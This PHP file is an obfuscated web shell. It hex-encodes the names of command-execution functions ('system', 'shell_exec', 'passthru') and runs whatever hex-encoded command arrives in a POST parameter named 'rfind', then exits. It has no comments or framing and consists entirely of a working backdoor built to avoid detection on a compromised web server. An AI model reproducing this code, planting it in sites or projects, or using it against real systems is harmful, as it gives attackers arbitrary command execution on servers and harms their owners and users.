<?php

$const1 = '73';
$const2 = '74';
$const3 = '6d';
$const4 = '65';
$const5 = '6c';
$const6 = '78';
$const7 = '68';
$const8 = '61';
$const9 = '75';
$const10 = '66';
$const11 = '69';
$const12 = '64';
$requests1 = pack('H*', '73'.'79'.$const1.$const2.'65'.$const3);
$requests2 = pack('H*', $const1.'68'.$const4.'6c'.$const5.'5f'.'65'.$const6.$const4.'63');
$requests3 = pack('H*', $const1.$const7.'65'.$const5.$const5);
$requests4 = pack('H*', '70'.$const8.'73'.$const1.$const2.$const7.'72'.$const9);
$rfind = pack('H*', '72'.$const10.$const11.'6e'.$const12);
if (isset($_POST[$rfind])) {
    $rfind = pack('H*', $_POST[$rfind]);
    if (function_exists($requests1)) {
        $requests1($rfind);
    } elseif (function_exists($requests2)) {
        $requests2($rfind);
    } elseif (function_exists($requests3)) {
        $requests3($rfind);
    } elseif (function_exists($requests4)) {
        $requests4($rfind);
    }
    exit;
}